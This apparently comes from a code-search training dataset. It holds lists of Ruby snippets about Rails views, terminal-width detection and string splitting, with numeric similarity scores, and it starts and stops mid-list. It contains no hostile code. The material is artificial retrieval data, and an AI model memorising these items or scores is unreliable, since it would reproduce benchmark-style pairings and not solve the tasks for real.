"def view\n @_view\n end",
"def view; end",
"def new\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @concrete_interface }\n end\n end",
"def create_view(name, opts = {})\n Designs::View.define_and_create(self, name, opts)\n end",
"def view_context\n super.tap do |view|\n (@_content_for || {}).each do |name,content|\n view.content_for name, content\n end\n end\n end",
"def view_instance\n # view = if controller.response.template\n # controller.response.template\n # else\n View.new controller, master_helper_module\n # end\n \n # view.extend Extensions::View\n end",
"def view what, config={}, &block # :yields: textview for further configuration\n require 'canis/core/util/viewer'\n Canis::Viewer.view what, config, &block\n end",
"def create_view(id,doc)\n resp = get_design_doc(id)\n ddoc = set_views(resp,doc)\n\n create_design_doc(id,ddoc)\n end",
"def materialized_view_definition(matview_name, name = nil) raise \"Internal Error: Connection adapter didn't override abstract function\"; end",
"def view_context\n super.tap do |view|\n (@_content_for || {}).each do |name,content|\n view.content_for name, content\n end\n end\n end",
"def UI\n UserInterface.new(self)\n end",
"def view_context\n super.tap do |view|\n (@_content_for || {}).each do |name, content|\n view.content_for name, content\n end\n end\n end",
"def add_view\n super\n end",
"def method_missing(method, *args, &block)\n view.send(method, *args, &block)\n end",
"def view(name, opts = {})\n CouchRest::Model::Designs::View.new(self, model, opts, name)\n end",
"def show\n raise NotImplementedError\n end",
"def show\n @interface = Interface.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render :json => @interface }\n end\n end",
"def view\n return @view unless @view.nil?\n file = File.join VIEWS, self.template\n @view = Haml::Engine.new File.read(file), HAML_CONFIG\n end",
"def view(view_class,text = nil, &block)\n @view_class = view_class\n @view_render = text || block if (text || block)\n end",
"def set_view(view)\n add_actions \"SetView(#{view})\"\n end",
"def new\n respond_to do |format|\n\t\t\tformat.html # new.html.erb\n format.xml { render :xml => @interface }\n end\n end",
"def content\n end",
"def content\n end",
"def content\n end",
"def initialize(view)\n @view = view\n end",
"def view_context\n super.tap do |view|\n (@_content_for_layout || {}).each do |name, content|\n view.content_for name, content\n end\n end\n end",
"def view(check = nil, &block)\n raise ArgumentError, \"block required\" unless block_given?\n @views.insert(0, ViewHandler.new(check, block))\n end",
"def new\n @interface = Interface.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render :json => @interface }\n end\n end",
"def render_interface(stream)\n @render_interface = true\n render_function_declaration(stream) if live? && (public? || private?)\n end",
"def add_view(listener)\n @views.add listener\n end",
"def interface; self.class.interface; end",
"def editor_interface\n Contentful::Management::ContentTypeEditorInterfaceMethodsFactory.new(self)\n end",
"def content; end",
"def content; end",
"def content; end",
"def content; end",
"def content; end",
"def content; end",
"def content; end",
"def content; end",
"def content; end",
"def content; end",
"def content; end",
"def content; end",
"def content; end",
"def content; end",
"def interface(name = '', &block)\n API::Interface.define({ name: name }, &block)\n end",
"def create_view(name, content, engine=:erb)\n FileUtils.mkdir_p(default_views_path)\n file = File.join(default_views_path, name.to_s + \".#{engine}\")\n File.open(file, 'w') { |io| io.write content }\n end",
"def initialize(view)\n @view = view\n end",
"def new\n @interface = Interface.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @interface }\n end\n end",
"def view\n end",
"def new\n @interviews_it = Interviews::It.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @interviews_it }\n end\n end",
"def view(name, opts = {})\n View.create(model, name, opts)\n create_view_method(name)\n end",
"def init(context={})\n\n app = context[:app]\n \n # View models\n ::Model::ViewModel.new(:content, 'content', ContentManagerSystem::Content, :view_template_contents,\n [::Model::ViewModelField.new(:_id, 'id', :string),\n ::Model::ViewModelField.new(:title, 'title', :string),\n ::Model::ViewModelField.new(:path, 'path', :string),\n ::Model::ViewModelField.new(:alias, 'alias', :string),\n ::Model::ViewModelField.new(:summary, 'summary', :string),\n ::Model::ViewModelField.new(:type, 'type', :string),\n ::Model::ViewModelField.new(:creation_date, 'creation_date', :date),\n ::Model::ViewModelField.new(:creation_user, 'creation_user', :string)])\n \n ::Model::ViewModel.new(:term, 'term', ContentManagerSystem::Term, :view_template_terms,\n [::Model::ViewModelField.new(:id, 'id', :serial),\n ::Model::ViewModelField.new(:description, 'description', :string)])\n\n ::Model::ViewModel.new(:profile, 'profile', Users::Profile, :view_template_profiles,[]) \n\n # View renders \n teaser_preprocessor = Proc.new do |data, context, render_options|\n data.map { |element| CMSRenders::Factory.get_render(element, context, 'teaser').render({}, [:ignore_complements, :ignore_blocks]) }\n end\n\n slider_preprocessor = Proc.new do |data, context, render_options|\n data.map { |element| CMSRenders::Factory.get_render(element, context, 'justphoto').render({}, [:ignore_complements, :ignore_blocks]) }\n end\n\n term_hierarchy_preprocessor = Proc.new do |data, context, render_options|\n separator = render_options['separator'] || \" · \"\n data.map do |element| \n terms = []\n terms << \"<a href=\\\"#{render_options['prefix']}/#{element.id}\\\">\"\n terms << \"#{element.description}</a>\"\n while not element.parent.nil?\n element = element.parent\n terms << separator\n terms << \"<a href=\\\"#{render_options['prefix']}/#{element.id}\\\">#{element.description}</a>\"\n end\n render_result = \"<div class=\\\"term-hierarchy-container #{render_options['container_class']}\\\">\" << terms.reverse.join << \"</div>\"\n end\n \n end\n\n ::Model::ViewRender.new(:teaser, 'teaser', ::Model::ViewStyle::VIEW_STYLE_TEASER, teaser_preprocessor)\n ::Model::ViewRender.new(:thumbnail, 'thumbnail', Model::ViewStyle::VIEW_STYLE_THUMBNAIL)\n\n end",
"def view\n @view ||= returning Cell::View.new(view_paths, {}, @controller) do |v|\n v.cell = self\n v.helper_module = self.class.master_helper_module\n end\n end",
"def create\n \n @concrete_interface = SWUI::ConcreteInterface.create(params[:concrete_interface])\n \n respond_to do |format|\n if @concrete_interface.save\n flash[:notice] = 'Concrete Interface was successfully created.'\n format.html { redirect_to(concrete_interfaces_url) }\n format.xml { render :xml => @concrete_interface, :status => :created, :location => @concrete_interface }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @concrete_interface.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def ar_view\n view = nil\n\n if params[:view]\n view = self.class.ar_views[params[:view].to_sym] ||\n self.class.ar_model.interfaces[:rest].views[params[:view].to_sym]\n end\n\n view ||= self.class.ar_views[action_name.to_sym] ||\n self.class.ar_model.interfaces[:rest].views[action_name.to_sym] ||\n View.new(:anonymous)\n view\n end",
"def view(name = \"\", viewpoint: :total, elements: :all, relationships: :for_elements)\n dia = __model.diagrams.find { |diagram| diagram.name == name }\n __model.remove_reference(dia) if dia\n __model.diagrams << View.new(__model, name, dia&.id, viewpoint, elements, relationships).render\n end",
"def initialize(contents = '', format: :html)\n @doc = Config.presenter.view_doc_class.new(Presenter.process(contents, format))\n end",
"def render\n # To be implemented.\n end",
"def create\n @interface = Interface.new(params[:interface])\n\n respond_to do |format|\n if @interface.save\n format.html { redirect_to(@interface, :notice => 'Interface was successfully created.') }\n format.xml { render :xml => @interface, :status => :created, :location => @interface }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @interface.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def initialize(view)\n @view = view\n end",
"def rendered_views=(_arg0); end",
"def content\n raise 'You must implement #content'\n end",
"def link_interface\n \n #raise params.inspect\n @vip = Vip.find(params[:id])\n \n @vip.update_attribute(:interface_id, params[:interfaces][:interface_id])\n \n respond_to do |format|\n format.html { render :partial => 'interfaces/mini_edit_vip', :layout => false, :object => @vip }\n format.xml { head :ok }\n end\n \n end",
"def initialize\n super(Network.generate_id(\"document_\"))\n @view = View.new\n @layout = Layout.new\n self.link(:default_view, @view)\n self.link(:default_layout, @layout)\n end",
"def view(ddoc,view,*opts)\n q = \"#{database}/_design/#{ddoc}/_view/#{view}\"\n q << build_query_string(opts.first,\"view\") if opts && opts.any? && opts.first.is_a?(Hash)\n\n @conn.query({url_path: q, method: :get})\n end",
"def load_view\r\n @view = XamlReader.load_from_path view_path if File.exists? view_path\r\n @view ||= view_name.to_s.gsub(/(.*::)+/, '').classify.new \r\n @view\r\n end",
"def show\n\t\traise NotImplementedError, \"FIXME: Implement showing comments.\"\n\tend",
"def initialize view\r\n @view = view\r\n @output = ''\r\n @xml = Builder::XmlMarkup.new :indent => 2, :target => @output\r\n end",
"def method_missing(method, *args, &block)\n if @view.respond_to?(method)\n (class << self; self; end).class_eval do\n delegate method, to: :@view\n end\n self.send method, *args, &block\n else\n super\n end\n end",
"def change_index_view\n case retrieve(:markup)\n when :erb then change_index_view_with_erb\n when :haml then change_index_view_with_haml\n when :slim then change_index_view_with_slim\n end\n end",
"def make_render_in_view exp\n make_render exp, true\n end",
"def view( model, view, assigns = {} )\n self << Waves.main::Views[ model ].process( request ) do\n send( view, assigns )\n end\n end",
"def view view, &block\n @views[view]\n if block\n raise \"Nested views not supported\" if @current_view\n @current_view = view\n self.instance_eval &block\n @current_view = nil\n end\n end",
"def render\n raise NotImplementedError, 'this should be overridden by concrete sub-class'\n end",
"def render\n raise NotImplementedError\n end",
"def get_view\n\t\treturn \"content_widget\"\n\tend",
"def write_view_definition(stream, table_schema, table_name, view_definition)\n stream << \" create_view \\\"#{table_schema}.#{table_name}\\\", <<-SQL\\n\" \\\n \" #{view_definition}\\n\" \\\n \" SQL\\n\"\n end",
"def view\n JenkinsApi::Client::View.new(self)\n end",
"def view\n JenkinsApi::Client::View.new(self)\n end",
"def show\n @interviews_it = Interviews::It.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @interviews_it }\n end\n end",
"def view(model_name, *args)\n orange[model_name].view(self, *args)\n end"
] | [
"0.6348486",
"0.59553117",
"0.5892823",
"0.583951",
"0.58289176",
"0.5757608",
"0.57494634",
"0.57396156",
"0.57155",
"0.56891584",
"0.56891584",
"0.56592447",
"0.56539816",
"0.56523585",
"0.56483483",
"0.56440157",
"0.56439006",
"0.562876",
"0.5611243",
"0.5588051",
"0.5572191",
"0.5558477",
"0.55472386",
"0.5546297",
"0.5544233",
"0.5522449",
"0.5505993",
"0.5504593",
"0.5499771",
"0.5481667",
"0.5447778",
"0.54470927",
"0.5435355",
"0.5433721",
"0.5431824",
"0.5420203",
"0.53968006",
"0.5391449",
"0.5362838",
"0.5362838",
"0.5362838",
"0.5359129",
"0.5357362",
"0.53567994",
"0.53524816",
"0.53440607",
"0.53400505",
"0.5322803",
"0.53127915",
"0.5311852",
"0.5311852",
"0.5311852",
"0.5311852",
"0.5311852",
"0.5311852",
"0.5311852",
"0.5311852",
"0.5311852",
"0.5311852",
"0.5311852",
"0.5311852",
"0.5311852",
"0.5311852",
"0.53056544",
"0.5297605",
"0.5293448",
"0.52920085",
"0.5284441",
"0.527819",
"0.5277746",
"0.52663594",
"0.5263761",
"0.5243258",
"0.52421445",
"0.5224941",
"0.52241755",
"0.5221295",
"0.5220245",
"0.5219009",
"0.5214944",
"0.52098864",
"0.5205922",
"0.52015036",
"0.5179872",
"0.5175818",
"0.5167401",
"0.5166073",
"0.51651186",
"0.5148674",
"0.51459503",
"0.51415724",
"0.5138923",
"0.5137806",
"0.5129421",
"0.5117817",
"0.511401",
"0.5112002",
"0.5112002",
"0.51112294",
"0.5111043"
] | 0.5437506 | 32 |
Find out how many columns the current terminal is able to display. | def width
Terminal.width
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def get_columns\n require 'io/console'\n n = ENV[\"COLUMNS\"]\n if n.nil? or n == \"\"\n rows, n = IO.console.winsize\t\n else\n n = n.to_i\n end\n return n\nend",
"def columns; IO.console.winsize[1] rescue 80; end",
"def columns\n IO.console.winsize.last\n end",
"def output_cols\n return 80 unless @output.tty?\n terminal.terminal_size.first\n rescue NoMethodError\n return 80\n end",
"def console_col_size\n IO.console.winsize[1]\n end",
"def column_count\n visible_column_names().count\n end",
"def terminal_size\n if /solaris/ =~ RUBY_PLATFORM and\n `stty` =~ /\\brows = (\\d+).*\\bcolumns = (\\d+)/\n [$2, $1].map { |c| x.to_i }\n else\n `stty size`.split.map { |x| x.to_i }.reverse\n end\n end",
"def columns_count\n @columns.size\n end",
"def get_col_widths()\n w_name = 0\n w_serial = 0\n\n $devices[:connected].each { |dev|\n next if dev[:disabled]\n next if not is_selected(dev)\n\n l_name = dev[:name].length\n w_name = l_name if l_name > w_name\n\n if $verbose\n l_serial = dev[:serial].length\n w_serial = l_serial if l_serial > w_serial\n end\n }\n\n if $verbose\n return [ w_name, w_serial + 1 ]\n end\n return w_name\nend",
"def ncols\n @colnames.length\n end",
"def column_count\n @stkw_config[:max_col]\n end",
"def get_terminal_width\n if (ENV['COLUMNS'] =~ /^\\d+$/)\n ENV['COLUMNS'].to_i\n elsif (RUBY_PLATFORM =~ /java/ || (!STDIN.tty? && ENV['TERM'])) && command_exists?('tput')\n `tput cols`.to_i\n elsif STDIN.tty? && command_exists?('stty')\n `stty size`.scan(/\\d+/).map { |s| s.to_i }.reverse[0]\n else\n 80\n end\n rescue\n 80\n end",
"def number_of_columns\n headings_with_rows.map { |r| r.number_of_columns }.max || 0\n end",
"def content_cols\n longest = @list.max_by(&:length)\n ## 2013-03-06 - 20:41 crashes here for some reason when man gives error message no man entry\n return 0 unless longest\n longest.length\n end",
"def num_cols()\n return self[0].length\n end",
"def column_count\r\n assert_exists\r\n arr_cells = cells\r\n return arr_cells.length\r\n end",
"def infer_console_width\n interactive? ? interaction_highline.output_cols-3 : 80\n end",
"def max_col\n [(@opts.width - 32) / char_width, @max_char].min\n end",
"def terminal_size\n if (ENV['COLUMNS'] =~ /^\\d+$/) && (ENV['LINES'] =~ /^\\d+$/)\n [ENV['COLUMNS'].to_i, ENV['LINES'].to_i]\n elsif (RUBY_PLATFORM =~ /java/ || (!STDIN.tty? && ENV['TERM'])) && command_exists?('tput')\n [`tput cols`.to_i, `tput lines`.to_i]\n elsif STDIN.tty? && command_exists?('stty')\n `stty size`.scan(/\\d+/).map{ |s| s.to_i }.reverse\n else\n nil\n end\n rescue\n nil\n end",
"def terminal_size\n if (ENV['COLUMNS'] =~ /^\\d+$/) && (ENV['LINES'] =~ /^\\d+$/)\n [ENV['COLUMNS'].to_i, ENV['LINES'].to_i]\n elsif (RUBY_PLATFORM =~ /java/ || (!STDIN.tty? && ENV['TERM'])) && command_exists?('tput')\n [`tput cols`.to_i, `tput lines`.to_i]\n elsif STDIN.tty? && command_exists?('stty')\n `stty size`.scan(/\\d+/).map { |s| s.to_i }.reverse\n else\n nil\n end\n rescue\n nil\n end",
"def content_cols\n longest = @content.max_by(&:length)\n ## 2013-03-06 - 20:41 crashes here for some reason when man gives error message no man entry\n return 0 unless longest\n longest.length\n end",
"def output_rows\n return 24 unless @output.tty?\n terminal.terminal_size.last\n rescue NoMethodError\n return 24\n end",
"def detect_terminal_size\n if (ENV['COLUMNS'] =~ /^\\d+$/) && (ENV['LINES'] =~ /^\\d+$/)\n [ENV['COLUMNS'].to_i, ENV['LINES'].to_i]\n elsif (RUBY_PLATFORM =~ /java/ || (!STDIN.tty? && ENV['TERM'])) && command_exists?('tput')\n [`tput cols`.to_i, `tput lines`.to_i]\n elsif STDIN.tty? && command_exists?('stty')\n `stty size`.scan(/\\d+/).map { |s| s.to_i }.reverse\n else\n nil\n end\n rescue\n nil\n end",
"def cols\n @size\n end",
"def terminal_width\n if ENV['THOR_COLUMNS']\n result = ENV['THOR_COLUMNS'].to_i\n else\n result = unix? ? dynamic_width : 80\n end\n (result < 10) ? 80 : result\n rescue\n 80\n end",
"def cols\n directions.count('r') + 1\n end",
"def num_cols\n col_labels.length\n end",
"def columns\n layout_text.blank? ? 12 : layout[0].size\n end",
"def size_from_tput\n return unless @output.tty? && command_exist?(\"tput\")\n\n lines = run_command(\"tput\", \"lines\")\n return unless lines\n\n cols = run_command(\"tput\", \"cols\")\n [lines.to_i, cols.to_i] if nonzero_column?(lines)\n end",
"def terminal_size\n if /solaris/ =~ RUBY_PLATFORM && (`stty` =~ /\\brows = (\\d+).*\\bcolumns = (\\d+)/)\n w, r = [$2, $1]\n else\n w, r = `stty size`.split.reverse\n end\n w = `tput cols` unless w # last ditch effort to at least get width\n\n w = w.to_i if w\n r = r.to_i if r\n\n return w, r\n end",
"def terminal_dimensions\n [0, 0] unless STDOUT.tty?\n [80, 40] if OS.windows?\n\n if ENV['COLUMNS'] && ENV['LINES']\n [ENV['COLUMNS'].to_i, ENV['LINES'].to_i]\n elsif ENV['TERM'] && command_in_path?('tput')\n [`tput cols`.to_i, `tput lines`.to_i]\n elsif command_in_path?('stty')\n `stty size`.scan(/\\d+/).map {|s| s.to_i }\n else\n [0, 0]\n end\n rescue\n [0, 0]\n end",
"def length\n columns.length\n end",
"def column_count\r\n assert_exists\r\n arr_rows = rows\r\n return arr_rows[0].column_count\r\n end",
"def width\n return 0 if columns.empty?\n\n columns.size\n end",
"def detect_terminal_size\n if (ENV['COLUMNS'] =~ /^\\d+$/) && (ENV['LINES'] =~ /^\\d+$/)\n [ENV['COLUMNS'].to_i, ENV['LINES'].to_i]\n elsif (RUBY_PLATFORM =~ /java/ || (!STDIN.tty? && ENV['TERM'])) && command_exists?('tput')\n [`tput cols`.to_i, `tput lines`.to_i]\n elsif STDIN.tty? && command_exists?('stty')\n `stty size`.scan(/\\d+/).map { |s| s.to_i }.reverse\n else\n nil\n end\nrescue\n nil\nend",
"def num_columns\n score_numbers.count\n end",
"def cols_len\n (0...column_size).collect {|j| max_len_column(j)}\n end",
"def terminal_width; end",
"def terminal_width; end",
"def column_count\n @stmt_api.column_count\n end",
"def column_width\n column_headings.values.collect {|l| l.to_s.length}.max + 2\n end",
"def display_width\n @width ||= begin\n require 'curses'\n Curses.init_screen\n x = Curses.cols\n Curses.close_screen\n x\n rescue\n HELP_WIDTH\n end\n @width - HELP_INDENT\n end",
"def columns\n @columns || 150\n end",
"def col_max\n return COLUMNS_MAX\n end",
"def count_columns\n fields.size\n end",
"def terminal_width\n terminal_size.first\n end",
"def width\n return nil unless @width ## this is required otherwise checking for nil will fail\n if @width < 0\n return ( FFI::NCurses.COLS + @width ) - self.col + 1\n end\n @width\n end",
"def terminal_width\n @terminal_width ||= (ENV[\"COLUMNS\"] || 80).to_i\nend",
"def width\n begin\n (@num_cols.to_i) * (@col_width.to_i + @gutter.to_i)\n rescue\n 0\n end\n end",
"def length_of_column n\n length_of_largest_cell_in_column n \n end",
"def column_size\n first_row = @rows[0]\n if first_row._equal?(nil)\n return 0\n end\n first_row.size\n end",
"def column_count\n is_container? ? get_content_param_by_key( :model_count_in_row ) : 0\n end",
"def columns\n @cr[2] & 0x7f\n end",
"def width\n cols\n end",
"def column_width n\n column_widths[n] || 0\n end",
"def calc_computer_col_size\n [\n Move.history.map { |ary| ary[2] }.max_by(&:size).size,\n computer.name.size\n ].max\n end",
"def column_width\n return @column_width\n end",
"def retrieve_terminal_width\n ts = TerminalSize::TerminalSize.new()\n @width = ts.columns - @entry_size - 3\n end",
"def number_of_columns\n return rows.first.length unless rows.empty?\n raise Error, 'your table needs some rows'\n end",
"def terminal_size\n m_GetStdHandle = Win32API.new( 'kernel32',\n 'GetStdHandle',\n ['L'],\n 'L' )\n m_GetConsoleScreenBufferInfo = Win32API.new(\n 'kernel32', 'GetConsoleScreenBufferInfo', ['L', 'P'], 'L'\n )\n\n format = 'SSSSSssssSS'\n buf = ([0] * format.size).pack(format)\n stdout_handle = m_GetStdHandle.call(0xFFFFFFF5)\n \n m_GetConsoleScreenBufferInfo.call(stdout_handle, buf)\n bufx, bufy, curx, cury, wattr,\n left, top, right, bottom, maxx, maxy = buf.unpack(format)\n return right - left + 1, bottom - top + 1\n end",
"def columns\n 1\n end",
"def size_from_env\n return unless @env[\"COLUMNS\"] =~ /^\\d+$/\n\n size = [(@env[\"LINES\"] || @env[\"ROWS\"]).to_i, @env[\"COLUMNS\"].to_i]\n size if nonzero_column?(size[1])\n end",
"def screen_width(out=STDERR)\n default_width = ENV['COLUMNS'] || 76\n begin\n tiocgwinsz = 0x5413\n data = [0, 0, 0, 0].pack(\"SSSS\")\n if out.ioctl(tiocgwinsz, data) >= 0 then\n rows, cols, xpixels, ypixels = data.unpack(\"SSSS\")\n if cols >= 0 then cols else default_width end\n else\n default_width\n end\n rescue Exception\n default_width\n end\n end",
"def column_space(); @column_space; end",
"def _print_more_columns_marker tf\n tf = false\n if @pmincol + @display_w < @pad_w\n tf = true\n end\n marker = tf ? Ncurses::ACS_CKBOARD : Ncurses::ACS_HLINE\n h = @display_h; w = @display_w\n r = @orig_top\n c = @orig_left\n @target_window.mvwaddch r+h, c+w-2, marker\n #\n # show if columns to left or not\n marker = @pmincol > 0 ? Ncurses::ACS_CKBOARD : Ncurses::ACS_HLINE\n @target_window.mvwaddch r+h, c+1, marker\n end",
"def column_count(string)\n Math.sqrt(string.length).ceil\nend",
"def columns_count\n @values.empty? ? 0 : @values.first.count\n end",
"def terminal_size; end",
"def terminal_size; end",
"def column_count_upper_bound(strings)\n column_count = 0\n length = 0\n\n sorted_by_length = strings.sort {|x, y| x.length <=> y.length }\n\n sorted_by_length.each do |e|\n length += e.length\n break unless length < $curwin.width\n\n column_count += 1\n length += @@COLUMN_SEPARATOR.length\n end\n\n return column_count\n end",
"def ui_max_x\n\t\t\t\tCurses.cols\n\t\t\tend",
"def column_size; end",
"def columns_len(index)\n if @handle.ptr == nil\n raise \"this is disposed\"\n end\n result = Native.SplitComponentState_columns_len(@handle.ptr, index)\n result\n end",
"def col_max\n [(self.width - padding * 2) / 96, 1].max\n end",
"def _calculate_column_offsets\n total = 0\n coffsets = []\n ctr = 0\n ## ix will have gaps in between for hidden fields\n each_column { | c, ix|\n v = c.width\n coffsets[ctr] = total\n ctr += 1\n total += v + 2 ## blank space plus separator\n }\n return coffsets\n end",
"def column\n Vedeu.width / 12\n end",
"def column\n Vedeu.width / 12\n end",
"def card_ncolumns\n 0\n end",
"def getCols\n return @grid.getCols\n end",
"def column_size\n @delegate.getColSize\n end",
"def screen_width\n @screen_width ||= begin\n `tput cols`.chomp.to_i\n rescue\n 80\n end\n end",
"def col_max\n return 3\n end",
"def col_max\n return 3\n end",
"def width\n @column_widths.inject(0) { |s,r| s + r }\n end",
"def column_widths\n []\n end",
"def cols\n\t\treturn self[0].length if(self.matrix? && self.length>0)\n\tend",
"def terminal_width\n TerminalWidthCalculator.calculate\n end",
"def terminal_width\n TerminalWidthCalculator.calculate\n end",
"def column_width\n @level_order.inject(0) do |width_, level_|\n w_ = level_.name.size\n w_ > width_ ? w_ : width_\n end\n end",
"def terminal_size\n format = 'SSSSSssssSS'\n buf = ([0] * format.size).pack(format)\n stdout_handle = WinAPI.GetStdHandle(0xFFFFFFF5)\n\n WinAPI.GetConsoleScreenBufferInfo(stdout_handle, buf)\n _, _, _, _, _,\n left, top, right, bottom, _, _ = buf.unpack(format)\n return right - left + 1, bottom - top + 1\n end",
"def getQuestionMatrixNCols(ridx)\n nmatrix = getNumQuestionMatrixConfig(ridx)\n nfields = getNumQuestionFieldConfig(ridx)\n ncols = 0\n if nmatrix > 0\n qrnames = getQuestionMatrixRowsConfig(ridx)\n qcnames = getQuestionMatrixColsConfig(ridx)\n cqfidx = 0\n qcnames.each do |colname|\n showcol = getQuestionMatrixColFlag(ridx,cqfidx)\n if showcol.to_s == \"1\"\n ncols = ncols + 1 \n end\n cqfidx = cqfidx + 1\n end\n else\n ncols = 1\n end\n return ncols\n end",
"def determine_console_width(total_width)\n [[total_width / 4, 120].min, 80].max\nend",
"def terminal_height; end",
"def terminal_height; end",
"def cells_count\n rows_count * columns_count\n end",
"def size\n return 0 if columns.empty?\n\n columns.first.size\n end",
"def terminal_width\n return 80 unless unix?\n\n result = dynamic_width\n (result < 20) ? 80 : result\n rescue\n 80\n end",
"def get_terminal_size\n terminal_size ||= {}\n if ENV[\"LINES\"] && ENV[\"COLUMNS\"]\n terminal_size[\"lines\"] = ENV[\"LINES\"]\n terminal_size[\"columns\"] = ENV[\"COLUMNS\"]\n elsif (RUBY_PLATFORM =~ /java/ || (!STDIN.tty? && ENV['TERM'])) && shell_command_exists?('tput')\n terminal_size[\"lines\"] = `tput lines`.strip.to_i\n terminal_size[\"columns\"] = `tput cols`.strip.to_i\n elsif STDIN.tty? && shell_command_exists?('stty')\n terminal_size[\"lines\"], terminal_size[\"columns\"] = `stty size`.strip.split(/\\s/).map(&:to_i)\n else\n terminal_size[\"lines\"], terminal_size[\"columns\"] = 40, 90\n end\n terminal_size\n end",
"def available_spaces\n @grid.flatten.select {|value| value.class == Fixnum}\n end",
"def columns\n gtk_instance.columns\n end",
"def col_max; 1; end"
] | [
"0.83149594",
"0.8067606",
"0.80612296",
"0.78652745",
"0.7573015",
"0.7279616",
"0.71125925",
"0.70880663",
"0.7072508",
"0.70322585",
"0.69907343",
"0.6919715",
"0.69088763",
"0.6901746",
"0.68977755",
"0.6879635",
"0.6822853",
"0.6782459",
"0.6774531",
"0.6770733",
"0.6742797",
"0.6718957",
"0.6715079",
"0.6714649",
"0.6703211",
"0.6697637",
"0.6664351",
"0.6664002",
"0.6648145",
"0.6634903",
"0.66183186",
"0.6605686",
"0.660025",
"0.6599896",
"0.657993",
"0.6568664",
"0.65162057",
"0.6489962",
"0.6489962",
"0.6464881",
"0.6446764",
"0.6441452",
"0.643936",
"0.6436553",
"0.6425538",
"0.6381933",
"0.63477194",
"0.6338897",
"0.63215756",
"0.63204855",
"0.6285227",
"0.6268237",
"0.62613916",
"0.6248757",
"0.623817",
"0.6219525",
"0.6219174",
"0.6185912",
"0.6167365",
"0.61508036",
"0.6150205",
"0.6143198",
"0.6139115",
"0.6132445",
"0.61246145",
"0.6112115",
"0.61007696",
"0.6096606",
"0.6096606",
"0.6090366",
"0.60879976",
"0.6075702",
"0.60544056",
"0.6046153",
"0.60449487",
"0.6028764",
"0.6028764",
"0.6016993",
"0.6007438",
"0.5993653",
"0.59668404",
"0.5958829",
"0.5958829",
"0.59581286",
"0.5953627",
"0.59506255",
"0.59323996",
"0.59323996",
"0.5919934",
"0.59092176",
"0.5906043",
"0.5904502",
"0.58944523",
"0.58944523",
"0.58855766",
"0.58781725",
"0.5875221",
"0.5873477",
"0.58704895",
"0.5870282",
"0.5868358"
] | 0.0 | -1 |
string The string to turn into a array Examples split("1;2;3;4;5;", ";") => ["1", "2", "3", "4", "5"] Returns a array of the string | def split(string, n)
string.split(n)
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def split_string_to_array(str)\n @string_as_array = str.split('')\n return @string_as_array\nend",
"def string_to_array(string)\n string.split(\" \")\nend",
"def string_to_array(string)\n string.split(\" \")\nend",
"def string_splitter( string )\n\n array = []\n array = string.split(\"\")\n p array\n return array\n\nend",
"def convert_string_to_array(str = \"\", seperator = \" \")\n str.split(seperator).map(&:strip).uniq.compact\n end",
"def string_to_array(str)\n return [] if str.blank?\n return str.split(\",\").each{|t| t.strip!} if str.class == String\n return []\n end",
"def parse_to_array(line_as_string)\n as_array = line_as_string.split(\" \")\nend",
"def text_to_array(string)\n delimiters = ['.', '!', '?']\n array = string.split(/\\.|\\?|\\!/)\n array\nend",
"def arrayify(str)\n str.split(\"\\n\")\n end",
"def parse( line )\r\n line.split(';')\r\nend",
"def array_from_string string\n # takes the string found when params tries to return an array, and reconstruct the array.\n array = string.split(/[^Q1234567890]+/)\n array.delete(\"\")\n array\n end",
"def split_into_array(word)\n word.split(\"\")\nend",
"def s_to_i_array(string, sep = ',')\n result = [string[0..-1].gsub(/\\[|\\]/,'').split(sep).reject(&:blank?).collect! {|n| n.to_i}].flatten\n end",
"def split_string(string, delimiter)\n if string.nil?\n return []\n end\n return string\n .split(',')\n .map{ |s| s.strip || s }\n .reject { |s| s.empty? }\nend",
"def split_args(str)\n # We need to handle empty strings ourselves; CSV.parse_line() will\n # return [nil].\n return [] if not str or str.empty?\n return CSV.parse_line(str, ' ').map {|i| i.to_s }\n end",
"def my_split(string, delimiter)\n\n array = []\n el = ''\n string.each_char{|char|\n if char != delimiter\n el = el + char\n else\n array << el\n el = ''\n end\n }\n array << el\n array\nend",
"def string_to_arr(str)\n arr = str.split(\" \")\n arr_f = []\n \n for a in arr\n if a != \"\"\n arr_f.push(a.strip)\n end\n end\n \n return arr_f\n end",
"def string_to_nested_array(str)\n arr1 = str.split(',')\n arr2 = []\n for i in 0..arr1.size - 1\n arr2[i] = arr1[i].split(':')\n end\n return arr2\nend",
"def number_array\n @input_string.split(' ')\n end",
"def split_string(string)\n string.split(\"=\")\nend",
"def position_string_to_array(string)\n size = Math.sqrt(string.length).to_i\n array = chunk(string, size).map { |row| chunk(row, 1) }\n array\n end",
"def position_string_to_array(string)\n size = Math.sqrt(string.length).to_i\n array = chunk(string, size).map { |row| chunk(row, 1) }\n array\n end",
"def match_array(string, match_string)\n arr = []\n string.scan(Regexp.new(match_string)) do |element|\n arr << element\n end\n return arr\n end",
"def sentence_to_array (string)\n string_split = string.split('.')\n string_split.map! do |words|\n words.split('!') \n end\n string_split.flatten!\n\n string_split.map! do |words|\n words.split('?') \n end\n string_split.flatten\nend",
"def fetch_csv_array(str) # instance method\n\n #remove whitespace\n str.gsub!(/\\s+/, \"\")\n return str.split(',')\n end",
"def extracting_nums_to_arr(str)\n str_nums = str.gsub(/[^0-9. ]/, ' ')\n str_nums.split(' ')\nend",
"def safe_split(str)\n return [] if str.size == 0\n\n # does the str contain a \"? if not do a simple split.\n return str.split(',').map { | arr | arr.split('=') } unless str\n .include?('\"')\n\n # split by comma first, restoring mistakenly split strings,\n # then split by equals (=)\n restore_split(str, ',').map { | arr | restore_split(arr, '=') }\n end",
"def toptag2array(str)\n sep = \"\\001\"\n str.gsub(/\\n([A-Za-z\\/\\*])/, \"\\n#{sep}\\\\1\").split(sep)\n end",
